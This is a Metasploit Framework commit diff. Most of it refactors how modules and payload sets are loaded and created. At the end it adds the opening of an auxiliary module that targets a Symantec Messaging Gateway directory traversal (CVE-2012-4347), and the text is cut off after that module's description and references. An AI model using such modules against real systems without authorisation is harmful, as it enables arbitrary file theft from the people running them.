commit
70c2093d1a
|
@ -69,8 +69,7 @@ module Exploit
|
|||
|
||||
# Make sure parameters are valid.
|
||||
if (opts['Payload'] == nil)
|
||||
raise MissingPayloadError,
|
||||
"You must specify a payload.", caller
|
||||
raise MissingPayloadError.new, caller
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
|
@ -81,7 +80,7 @@ module Exploit
|
|||
|
||||
# Initialize the driver instance
|
||||
driver.exploit = exploit
|
||||
driver.payload = exploit.framework.modules.create(opts['Payload'])
|
||||
driver.payload = exploit.framework.payloads.create(opts['Payload'])
|
||||
|
||||
# Set the force wait for session flag if the caller requested force
|
||||
# blocking. This is so that passive exploits can be blocked on from
|
||||
|
|
|
@ -375,7 +375,6 @@ class DBManager
|
|||
refresh.each {|md| md.destroy }
|
||||
refresh = nil
|
||||
|
||||
stime = Time.now.to_f
|
||||
[
|
||||
[ 'exploit', framework.exploits ],
|
||||
[ 'auxiliary', framework.auxiliary ],
|
||||
|
|
|
@ -12,11 +12,15 @@ require 'msf/core'
|
|||
require 'msf/core/module_set'
|
||||
|
||||
module Msf
|
||||
# Upper management decided to throw in some middle management # because the modules were getting out of hand. This
|
||||
# bad boy takes care of the work of managing the interaction with modules in terms of loading and instantiation.
|
||||
# Upper management decided to throw in some middle management
|
||||
# because the modules were getting out of hand. This bad boy takes
|
||||
# care of the work of managing the interaction with modules in terms
|
||||
# of loading and instantiation.
|
||||
#
|
||||
# @todo add unload support
|
||||
class ModuleManager < ModuleSet
|
||||
class ModuleManager
|
||||
include Msf::Framework::Offspring
|
||||
|
||||
require 'msf/core/payload_set'
|
||||
|
||||
# require here so that Msf::ModuleManager is already defined
|
||||
|
@ -41,36 +45,28 @@ module Msf
|
|||
# Maps module type directory to its module type.
|
||||
TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert
|
||||
|
||||
# Overrides the module set method for adding a module so that some extra steps can be taken to subscribe the module
|
||||
# and notify the event dispatcher.
|
||||
#
|
||||
# @param (see Msf::ModuleSet#add_module)
|
||||
# @return (see Msf::ModuleSet#add_module)
|
||||
def add_module(mod, name, file_paths)
|
||||
# Call {Msf::ModuleSet#add_module} with same arguments
|
||||
dup = super
|
||||
def [](key)
|
||||
names = key.split("/")
|
||||
type = names.shift
|
||||
|
||||
# Automatically subscribe a wrapper around this module to the necessary
|
||||
# event providers based on whatever events it wishes to receive. We
|
||||
# only do this if we are the module manager instance, as individual
|
||||
# module sets need not subscribe.
|
||||
auto_subscribe_module(dup)
|
||||
module_set = module_set_by_type[type]
|
||||
|
||||
# Notify the framework that a module was loaded
|
||||
framework.events.on_module_load(name, dup)
|
||||
|
||||
dup
|
||||
module_reference_name = names.join("/")
|
||||
module_set[module_reference_name]
|
||||
end
|
||||
|
||||
# Creates a module instance using the supplied reference name.
|
||||
#
|
||||
# @param [String] name a module reference name. It may optionally be prefixed with a "<type>/", in which case the
|
||||
# module will be created from the {Msf::ModuleSet} for the given <type>.
|
||||
# @param name [String] A module reference name. It may optionally
|
||||
# be prefixed with a "<type>/", in which case the module will be
|
||||
# created from the {Msf::ModuleSet} for the given <type>.
|
||||
# Otherwise, we step through all sets until we find one that
|
||||
# matches.
|
||||
# @return (see Msf::ModuleSet#create)
|
||||
def create(name)
|
||||
# Check to see if it has a module type prefix. If it does,
|
||||
# try to load it from the specific module set for that type.
|
||||
names = name.split(File::SEPARATOR)
|
||||
names = name.split("/")
|
||||
potential_type_or_directory = names.first
|
||||
|
||||
# if first name is a type
|
||||
|
@ -81,15 +77,24 @@ module Msf
|
|||
type = TYPE_BY_DIRECTORY[potential_type_or_directory]
|
||||
end
|
||||
|
||||
module_instance = nil
|
||||
if type
|
||||
module_set = module_set_by_type[type]
|
||||
|
||||
module_reference_name = names[1 .. -1].join(File::SEPARATOR)
|
||||
module_set.create(module_reference_name)
|
||||
# Otherwise, just try to load it by name.
|
||||
# First element in names is the type, so skip it
|
||||
module_reference_name = names[1 .. -1].join("/")
|
||||
module_instance = module_set.create(module_reference_name)
|
||||
else
|
||||
super
|
||||
# Then we don't have a type, so we have to step through each set
|
||||
# to see if we can create this module.
|
||||
module_set_by_type.each do |_, set|
|
||||
module_reference_name = names.join("/")
|
||||
module_instance = set.create(module_reference_name)
|
||||
break if module_instance
|
||||
end
|
||||
end
|
||||
|
||||
module_instance
|
||||
end
|
||||
|
||||
|
||||
|
@ -128,18 +133,18 @@ module Msf
|
|||
types.each { |type|
|
||||
init_module_set(type)
|
||||
}
|
||||
|
||||
super(nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# This method automatically subscribes a module to whatever event providers it wishes to monitor. This can be used
|
||||
# to allow modules to automatically # execute or perform other tasks when certain events occur. For instance, when
|
||||
# a new host is detected, other aux modules may wish to run such that they can collect more information about the
|
||||
# host that was detected.
|
||||
# This method automatically subscribes a module to whatever event
|
||||
# providers it wishes to monitor. This can be used to allow modules
|
||||
# to automatically execute or perform other tasks when certain
|
||||
# events occur. For instance, when a new host is detected, other
|
||||
# aux modules may wish to run such that they can collect more
|
||||
# information about the host that was detected.
|
||||
#
|
||||
# @param [Class] mod a Msf::Module subclass
|
||||
# @param mod [Class] A subclass of Msf::Module
|
||||
# @return [void]
|
||||
def auto_subscribe_module(mod)
|
||||
# If auto-subscribe has been disabled
|
||||
|
|
|
@ -24,8 +24,8 @@ module Msf::ModuleManager::Cache
|
|||
def load_cached_module(type, reference_name)
|
||||
loaded = false
|
||||
|
||||
module_info = self.module_info_by_path.values.find { |module_info|
|
||||
module_info[:type] == type and module_info[:reference_name] == reference_name
|
||||
module_info = self.module_info_by_path.values.find { |inner_info|
|
||||
inner_info[:type] == type and inner_info[:reference_name] == reference_name
|
||||
}
|
||||
|
||||
if module_info
|
||||
|
@ -116,8 +116,9 @@ module Msf::ModuleManager::Cache
|
|||
|
||||
typed_module_set = module_set(type)
|
||||
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for key instead of using ||= which would call
|
||||
# {Msf::ModuleSet#[]} which would potentially call {Msf::ModuleSet#create}.
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
unless typed_module_set.has_key? reference_name
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
|
@ -126,4 +127,4 @@ module Msf::ModuleManager::Cache
|
|||
|
||||
self.module_info_by_path
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -57,21 +57,16 @@ module Msf::ModuleManager::Loading
|
|||
# categorized accordingly.
|
||||
#
|
||||
def on_module_load(mod, type, name, modinfo)
|
||||
# Payload modules require custom loading as the individual files
|
||||
# may not directly contain a logical payload that a user would
|
||||
# reference, such as would be the case with a payload stager or
|
||||
# stage. As such, when payload modules are loaded they are handed
|
||||
# off to a special payload set. The payload set, in turn, will
|
||||
# automatically create all the permutations after all the payload
|
||||
# modules have been loaded.
|
||||
dup = module_set_by_type[type].add_module(mod, name, modinfo)
|
||||
|
||||
if (type != Msf::MODULE_PAYLOAD)
|
||||
# Add the module class to the list of modules and add it to the
|
||||
# type separated set of module classes
|
||||
add_module(mod, name, modinfo)
|
||||
end
|
||||
# Automatically subscribe a wrapper around this module to the necessary
|
||||
# event providers based on whatever events it wishes to receive.
|
||||
auto_subscribe_module(dup)
|
||||
|
||||
module_set_by_type[type].add_module(mod, name, modinfo)
|
||||
# Notify the framework that a module was loaded
|
||||
framework.events.on_module_load(name, dup)
|
||||
|
||||
dup
|
||||
end
|
||||
|
||||
protected
|
||||
|
|
|
@ -39,7 +39,7 @@ module Msf::ModuleManager::ModuleSets
|
|||
self.enablement_by_type[type] = true
|
||||
case type
|
||||
when Msf::MODULE_PAYLOAD
|
||||
instance = Msf::PayloadSet.new(self)
|
||||
instance = Msf::PayloadSet.new
|
||||
else
|
||||
instance = Msf::ModuleSet.new(type)
|
||||
end
|
||||
|
@ -100,4 +100,4 @@ module Msf::ModuleManager::ModuleSets
|
|||
|
||||
attr_accessor :enablement_by_type # :nodoc:
|
||||
attr_accessor :module_set_by_type # :nodoc:
|
||||
end
|
||||
end
|
||||
|
|
|
@ -33,8 +33,9 @@ class Msf::ModuleSet < Hash
|
|||
|
||||
# Create an instance of the supplied module by its name
|
||||
#
|
||||
# @param [String] name the module reference name.
|
||||
# @return [Msf::Module] instance of the named module.
|
||||
# @param name [String] The module reference name.
|
||||
# @return [Msf::Module,nil] Instance of the named module or nil if it
|
||||
# could not be created.
|
||||
def create(name)
|
||||
klass = fetch(name, nil)
|
||||
instance = nil
|
||||
|
@ -42,15 +43,7 @@ class Msf::ModuleSet < Hash
|
|||
# If there is no module associated with this class, then try to demand
|
||||
# load it.
|
||||
if klass.nil? or klass == Msf::SymbolicModule
|
||||
# If we are the root module set, then we need to try each module
|
||||
# type's demand loading until we find one that works for us.
|
||||
if module_type.nil?
|
||||
Msf::MODULE_TYPES.each { |type|
|
||||
framework.modules.load_cached_module(type, name)
|
||||
}
|
||||
else
|
||||
framework.modules.load_cached_module(module_type, name)
|
||||
end
|
||||
framework.modules.load_cached_module(module_type, name)
|
||||
|
||||
recalculate
|
||||
|
||||
|
@ -168,17 +161,6 @@ class Msf::ModuleSet < Hash
|
|||
def on_module_reload(mod)
|
||||
end
|
||||
|
||||
# @!attribute [rw] postpone_recalc
|
||||
# Whether or not recalculations should be postponed. This is used
|
||||
# from the context of the {#each_module_list} handler in order to
|
||||
# prevent the demand loader from calling recalc for each module if
|
||||
# it's possible that more than one module may be loaded. This field
|
||||
# is not initialized until used.
|
||||
#
|
||||
# @return [true] if {#recalculate} should not be called immediately
|
||||
# @return [false] if {#recalculate} should be called immediately
|
||||
attr_accessor :postpone_recalculate
|
||||
|
||||
# Dummy placeholder to recalculate aliases and other fun things.
|
||||
#
|
||||
# @return [void]
|
||||
|
@ -194,8 +176,6 @@ class Msf::ModuleSet < Hash
|
|||
(self[name]) ? true : false
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Adds a module with a the supplied name.
|
||||
#
|
||||
# @param [Class] mod The module class: a subclass of Msf::Module.
|
||||
|
@ -226,25 +206,24 @@ class Msf::ModuleSet < Hash
|
|||
mod
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Load all modules that are marked as being symbolic.
|
||||
#
|
||||
# @return [void]
|
||||
def demand_load_modules
|
||||
found_symbolics = false
|
||||
# Pre-scan the module list for any symbolic modules
|
||||
self.each_pair { |name, mod|
|
||||
if (mod == Msf::SymbolicModule)
|
||||
self.postpone_recalculate = true
|
||||
|
||||
found_symbolics = true
|
||||
mod = create(name)
|
||||
|
||||
next if (mod.nil?)
|
||||
end
|
||||
}
|
||||
|
||||
# If we found any symbolic modules, then recalculate.
|
||||
if (self.postpone_recalculate)
|
||||
self.postpone_recalculate = false
|
||||
|
||||
if (found_symbolics)
|
||||
recalculate
|
||||
end
|
||||
end
|
||||
|
|
|
@ -63,15 +63,17 @@ class Msf::Modules::Loader::Base
|
|||
# Regex that can distinguish regular ruby source from unit test source.
|
||||
UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/
|
||||
|
||||
# @param [Msf::ModuleManager] module_manager The module manager that caches the loaded modules.
|
||||
# @param [Msf::ModuleManager] module_manager The module manager that
|
||||
# caches the loaded modules.
|
||||
def initialize(module_manager)
|
||||
@module_manager = module_manager
|
||||
end
|
||||
|
||||
# Returns whether the path can be loaded this module loader.
|
||||
#
|
||||
# @abstract Override and determine from properties of the path or the file to which the path points whether it is
|
||||
# loadable using {#load_modules} for the subclass.
|
||||
# @abstract Override and determine from properties of the path or the
|
||||
# file to which the path points whether it is loadable using
|
||||
# {#load_modules} for the subclass.
|
||||
#
|
||||
# @param path (see #load_modules)
|
||||
# @return [Boolean]
|
||||
|
@ -81,22 +83,33 @@ class Msf::Modules::Loader::Base
|
|||
|
||||
# Loads a module from the supplied path and module_reference_name.
|
||||
#
|
||||
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed
|
||||
# to {#load_modules}: it may just be derived from that path.
|
||||
# @param [String] parent_path The path under which the module exists.
|
||||
# This is not necessarily the same path as passed to
|
||||
# {#load_modules}: it may just be derived from that path.
|
||||
# @param [String] type The type of module.
|
||||
# @param [String] module_reference_name The canonical name for referring to the module.
|
||||
# @param [Hash] options Options used to force loading and track statistics
|
||||
# @option options [Hash{String => Integer}] :count_by_type Maps the module type to the number of module loaded
|
||||
# @option options [Boolean] :force (false) whether to force loading of the module even if the module has not changed.
|
||||
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps type to whether its
|
||||
# {Msf::ModuleManager::ModuleSets#module_set} needs to be recalculated.
|
||||
# @param [String] module_reference_name The canonical name for
|
||||
# referring to the module.
|
||||
# @param [Hash] options Options used to force loading and track
|
||||
# statistics
|
||||
# @option options [Hash{String => Integer}] :count_by_type Maps the
|
||||
# module type to the number of module loaded
|
||||
# @option options [Boolean] :force (false) whether to force loading of
|
||||
# the module even if the module has not changed.
|
||||
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps
|
||||
# type to whether its {Msf::ModuleManager::ModuleSets#module_set}
|
||||
# needs to be recalculated.
|
||||
# @option options [Boolean] :reload (false) whether this is a reload.
|
||||
#
|
||||
# @return [false] if :force is false and parent_path has not changed.
|
||||
# @return [false] if exception encountered while parsing module content
|
||||
# @return [false] if the module is incompatible with the Core or API version.
|
||||
# @return [false] if the module does not implement a Metasploit(\d+) class.
|
||||
# @return [false] if exception encountered while parsing module
|
||||
# content
|
||||
# @return [false] if the module is incompatible with the Core or API
|
||||
# version.
|
||||
# @return [false] if the module does not implement a Metasploit(\d+)
|
||||
# class.
|
||||
# @return [false] if the module's is_usable method returns false.
|
||||
# @return [true] if all those condition pass and the module is successfully loaded.
|
||||
# @return [true] if all those condition pass and the module is
|
||||
# successfully loaded.
|
||||
#
|
||||
# @see #read_module_content
|
||||
# @see Msf::ModuleManager::Loading#file_changed?
|
||||
|
@ -121,8 +134,8 @@ class Msf::Modules::Loader::Base
|
|||
module_content = read_module_content(parent_path, type, module_reference_name)
|
||||
|
||||
if module_content.empty?
|
||||
# read_module_content is responsible for calling {#load_error}, so just return here.
|
||||
return false
|
||||
# read_module_content is responsible for calling {#load_error}, so just return here.
|
||||
return false
|
||||
end
|
||||
|
||||
try_eval_module = lambda { |namespace_module|
|
||||
|
@ -139,9 +152,9 @@ class Msf::Modules::Loader::Base
|
|||
begin
|
||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||
load_error(module_path, version_compatibility_error)
|
||||
load_error(module_path, version_compatibility_error)
|
||||
else
|
||||
load_error(module_path, error)
|
||||
load_error(module_path, error)
|
||||
end
|
||||
|
||||
return false
|
||||
|
@ -150,17 +163,17 @@ class Msf::Modules::Loader::Base
|
|||
begin
|
||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||
load_error(module_path, version_compatibility_error)
|
||||
load_error(module_path, version_compatibility_error)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
|
||||
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::MetasploitClassCompatibilityError => error
|
||||
load_error(module_path, error)
|
||||
load_error(module_path, error)
|
||||
|
||||
return false
|
||||
return false
|
||||
end
|
||||
|
||||
unless usable?(metasploit_class)
|
||||
|
@ -227,12 +240,15 @@ class Msf::Modules::Loader::Base
|
|||
|
||||
# Loads all of the modules from the supplied path.
|
||||
#
|
||||
# @note Only paths where {#loadable?} returns true should be passed to this method.
|
||||
# @note Only paths where {#loadable?} returns true should be passed to
|
||||
# this method.
|
||||
#
|
||||
# @param [String] path Path under which there are modules
|
||||
# @param [Hash] options
|
||||
# @option options [Boolean] force (false) whether to force loading of the module even if the module has not changed.
|
||||
# @return [Hash{String => Integer}] Maps module type to number of modules loaded
|
||||
# @option options [Boolean] force (false) Whether to force loading of
|
||||
# the module even if the module has not changed.
|
||||
# @return [Hash{String => Integer}] Maps module type to number of
|
||||
# modules loaded
|
||||
def load_modules(path, options={})
|
||||
options.assert_valid_keys(:force)
|
||||
|
||||
|
@ -396,28 +412,28 @@ class Msf::Modules::Loader::Base
|
|||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
|
||||
#
|
||||
# @param [String] module_path Path to the module as returned by {#module_path}.
|
||||
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
|
||||
# @return [void]
|
||||
#
|
||||
# @see #module_path
|
||||
def load_error(module_path, error)
|
||||
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
|
||||
# backtraces should not appear.
|
||||
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
|
||||
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
|
||||
#
|
||||
# @param [String] module_path Path to the module as returned by {#module_path}.
|
||||
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
|
||||
# @return [void]
|
||||
#
|
||||
# @see #module_path
|
||||
def load_error(module_path, error)
|
||||
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
|
||||
# backtraces should not appear.
|
||||
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
|
||||
|
||||
log_lines = []
|
||||
log_lines << "#{module_path} failed to load due to the following error:"
|
||||
log_lines << error.class.to_s
|
||||
log_lines << error.to_s
|
||||
log_lines << "Call stack:"
|
||||
log_lines += error.backtrace
|
||||
log_lines = []
|
||||
log_lines << "#{module_path} failed to load due to the following error:"
|
||||
log_lines << error.class.to_s
|
||||
log_lines << error.to_s
|
||||
log_lines << "Call stack:"
|
||||
log_lines += error.backtrace
|
||||
|
||||
log_message = log_lines.join("\n")
|
||||
elog(log_message)
|
||||
end
|
||||
log_message = log_lines.join("\n")
|
||||
elog(log_message)
|
||||
end
|
||||
|
||||
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
|
||||
attr_reader :module_manager
|
||||
|
@ -480,11 +496,14 @@ class Msf::Modules::Loader::Base
|
|||
namespace_module_name
|
||||
end
|
||||
|
||||
# Returns an Array of names to make a fully qualified module name to wrap the Metasploit(1|2|3) class so that it
|
||||
# doesn't overwrite other (metasploit) module's classes. Invalid module name characters are escaped by using 'H*'
|
||||
# unpacking and prefixing each code with X so the code remains a valid module name when it starts with a digit.
|
||||
# Returns an Array of names to make a fully qualified module name to
|
||||
# wrap the Metasploit(1|2|3) class so that it doesn't overwrite other
|
||||
# (metasploit) module's classes. Invalid module name characters are
|
||||
# escaped by using 'H*' unpacking and prefixing each code with X so
|
||||
# the code remains a valid module name when it starts with a digit.
|
||||
#
|
||||
# @param [String] uniq_module_reference_name The unique canonical name for the module including type.
|
||||
# @param [String] uniq_module_reference_name The unique canonical name
|
||||
# for the module including type.
|
||||
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
|
||||
#
|
||||
# @see namespace_module
|
||||
|
@ -513,8 +532,9 @@ class Msf::Modules::Loader::Base
|
|||
end
|
||||
|
||||
namespace_module = create_namespace_module(namespace_module_names)
|
||||
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's
|
||||
# constant if needed.
|
||||
# Get the parent module from the created module so that
|
||||
# restore_namespace_module can remove namespace_module's constant if
|
||||
# needed.
|
||||
parent_module = namespace_module.parent
|
||||
|
||||
begin
|
||||
|
@ -557,21 +577,21 @@ class Msf::Modules::Loader::Base
|
|||
if parent_module
|
||||
# If there is a current module with relative_name
|
||||
if parent_module.const_defined?(relative_name)
|
||||
# if the current value isn't the value to be restored.
|
||||
if parent_module.const_get(relative_name) != namespace_module
|
||||
# remove_const is private, so use send to bypass
|
||||
parent_module.send(:remove_const, relative_name)
|
||||
# if the current value isn't the value to be restored.
|
||||
if parent_module.const_get(relative_name) != namespace_module
|
||||
# remove_const is private, so use send to bypass
|
||||
parent_module.send(:remove_const, relative_name)
|
||||
|
||||
# if there was a previous module, not set it to the name
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
# if there was a previous module, not set it to the name
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
else
|
||||
# if there was a previous module, but there isn't a current module, then restore the previous module
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
# if there was a previous module, but there isn't a current module, then restore the previous module
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -20,12 +20,9 @@ class PayloadSet < ModuleSet
|
|||
# Creates an instance of a payload set which is just a specialized module
|
||||
# set class that has custom handling for payloads.
|
||||
#
|
||||
def initialize(manager)
|
||||
def initialize
|
||||
super(MODULE_PAYLOAD)
|
||||
|
||||
# A reference to the ModuleManager instance
|
||||
self.manager = manager
|
||||
|
||||
# A hash of each of the payload types that holds an array
|
||||
# for all of the associated modules
|
||||
self.payload_type_modules = {}
|
||||
|
@ -74,60 +71,36 @@ class PayloadSet < ModuleSet
|
|||
# of singles, stagers, and stages.
|
||||
#
|
||||
def recalculate
|
||||
# Reset the current hash associations for all non-symbolic modules
|
||||
self.each_pair { |key, v|
|
||||
manager.delete(key) if (v != SymbolicModule)
|
||||
}
|
||||
old_keys = self.keys
|
||||
new_keys = []
|
||||
|
||||
self.delete_if { |k, v|
|
||||
v != SymbolicModule
|
||||
}
|
||||
|
||||
# Initialize a temporary hash
|
||||
_temp = {}
|
||||
|
||||
# Populate the temporary hash
|
||||
_singles.each_pair { |name, op|
|
||||
_temp[name] = op
|
||||
}
|
||||
# Recalculate single payloads
|
||||
_temp.each_pair { |name, op|
|
||||
_singles.each_pair { |name, op|
|
||||
mod, handler = op
|
||||
|
||||
# Build the payload dupe using the determined handler
|
||||
# and module
|
||||
p = build_payload(handler, mod)
|
||||
|
||||
# Sets the modules derived name
|
||||
p.refname = name
|
||||
|
||||
# Add it to the set
|
||||
add_single(p, name, op[5])
|
||||
new_keys.push name
|
||||
|
||||
# Cache the payload's size
|
||||
begin
|
||||
sizes[name] = p.new.size
|
||||
|
||||
# Don't cache generic payload sizes.
|
||||
rescue NoCompatiblePayloadError
|
||||
end
|
||||
}
|
||||
|
||||
# Initialize a temporary hash
|
||||
_temp = {}
|
||||
|
||||
# Populate the temporary hash
|
||||
_stagers.each_pair { |stager_name, op|
|
||||
_temp[stager_name] = op
|
||||
}
|
||||
# Recalculate staged payloads
|
||||
_temp.each_pair { |stager_name, op|
|
||||
mod, handler = op
|
||||
_stagers.each_pair { |stager_name, op|
|
||||
stager_mod, handler, stager_platform, stager_arch, stager_inst = op
|
||||
|
||||
# Walk the array of stages
|
||||
_stages.each_pair { |stage_name, ip|
|
||||
stage_mod, junk, stage_platform, stage_arch, stage_inst = ip
|
||||
stage_mod, _, stage_platform, stage_arch, stage_inst = ip
|
||||
|
||||
# No intersection between platforms on the payloads?
|
||||
if ((stager_platform) and
|
||||
|
@ -179,12 +152,20 @@ class PayloadSet < ModuleSet
|
|||
'files' => op[5]['files'] + ip[5]['files'],
|
||||
'paths' => op[5]['paths'] + ip[5]['paths'],
|
||||
'type' => op[5]['type']})
|
||||
new_keys.push combined
|
||||
|
||||
# Cache the payload's size
|
||||
sizes[combined] = p.new.size
|
||||
}
|
||||
}
|
||||
|
||||
# Blow away anything that was cached but didn't exist during the
|
||||
# recalculation
|
||||
self.delete_if do |k, v|
|
||||
next if v == SymbolicModule
|
||||
!!(old_keys.include?(k) and not new_keys.include?(k))
|
||||
end
|
||||
|
||||
flush_blob_cache
|
||||
end
|
||||
|
||||
|
@ -276,8 +257,7 @@ class PayloadSet < ModuleSet
|
|||
# returns an instance of that payload.
|
||||
#
|
||||
def find_payload_from_set(set, platform, arch, handler, session, payload_type)
|
||||
set.each do |m|
|
||||
name,mod = m
|
||||
set.each do |name, mod|
|
||||
p = mod.new
|
||||
|
||||
# We can't substitute one generic with another one.
|
||||
|
@ -303,6 +283,8 @@ class PayloadSet < ModuleSet
|
|||
#
|
||||
def add_single(p, name, modinfo)
|
||||
p.framework = framework
|
||||
p.refname = name
|
||||
p.file_path = modinfo['files'][0]
|
||||
|
||||
# Associate this class with the single payload's name
|
||||
self[name] = p
|
||||
|
@ -310,9 +292,6 @@ class PayloadSet < ModuleSet
|
|||
# Add the singles hash
|
||||
singles[name] = p
|
||||
|
||||
# Add it to the global module set
|
||||
manager.add_module(p, name, modinfo)
|
||||
|
||||
dlog("Built single payload #{name}.", 'core', LEV_2)
|
||||
end
|
||||
|
||||
|
@ -322,13 +301,12 @@ class PayloadSet < ModuleSet
|
|||
#
|
||||
def add_stage(p, full_name, stage_name, handler_type, modinfo)
|
||||
p.framework = framework
|
||||
p.refname = full_name
|
||||
p.file_path = modinfo['files'][0]
|
||||
|
||||
# Associate this stage's full name with the payload class in the set
|
||||
self[full_name] = p
|
||||
|
||||
# Add the full name association in the global module set
|
||||
manager.add_module(p, full_name, modinfo)
|
||||
|
||||
# Create the hash entry for this stage and then create
|
||||
# the associated entry for the handler type
|
||||
stages[stage_name] = {} if (!stages[stage_name])
|
||||
|
@ -445,7 +423,7 @@ protected
|
|||
return klass
|
||||
end
|
||||
|
||||
attr_accessor :manager, :payload_type_modules # :nodoc:
|
||||
attr_accessor :payload_type_modules # :nodoc:
|
||||
attr_writer :stages, :singles, :sizes # :nodoc:
|
||||
attr_accessor :_instances # :nodoc:
|
||||
|
||||
|
|
|
@ -1859,7 +1859,7 @@ class Core
|
|||
end
|
||||
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
if (p)
|
||||
p.options.sorted.each { |e|
|
||||
name, opt = e
|
||||
|
@ -2389,7 +2389,7 @@ class Core
|
|||
|
||||
# How about the selected payload?
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
if (p and p.options.include?(opt))
|
||||
res.concat(option_values_dispatch(p.options[opt], str, words))
|
||||
end
|
||||
|
@ -2623,7 +2623,7 @@ protected
|
|||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
|
@ -2688,7 +2688,7 @@ protected
|
|||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
|
@ -2711,7 +2711,7 @@ protected
|
|||
# If it's an exploit and a payload is defined, create it and
|
||||
# display the payload's options
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
p = framework.modules.create(mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
|
||||
if (!p)
|
||||
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
|
||||
|
|
|
@ -528,7 +528,7 @@ class Driver < Msf::Ui::Driver
|
|||
framework.modules.module_load_error_by_path.each do |path, error|
|
||||
print_error("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
framework.events.on_ui_start(Msf::Framework::Revision)
|
||||
|
||||
|
@ -551,7 +551,7 @@ class Driver < Msf::Ui::Driver
|
|||
case var.downcase
|
||||
when "payload"
|
||||
|
||||
if (framework and framework.modules.valid?(val) == false)
|
||||
if (framework and framework.payloads.valid?(val) == false)
|
||||
return false
|
||||
elsif (active_module)
|
||||
active_module.datastore.clear_non_user_defined
|
||||
|
|
|
@ -0,0 +1,158 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability',
|
||||
'Description' => %q{
|
||||
This module will download a file of your choice against Symantec Messaging
|
||||
Gateway. This is possible by exploiting a directory traversal vulnerability
|
||||
when handling the 'logFile' parameter, which will load an arbitrary file as
|
||||
an attachment. Note that authentication is required in order to successfully
|
||||
download your file.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-4347'],
|
||||
['EDB', '23110'],
|
||||
['OSVDB', '88165'],
|
||||
['BID', '56789'],
|
||||
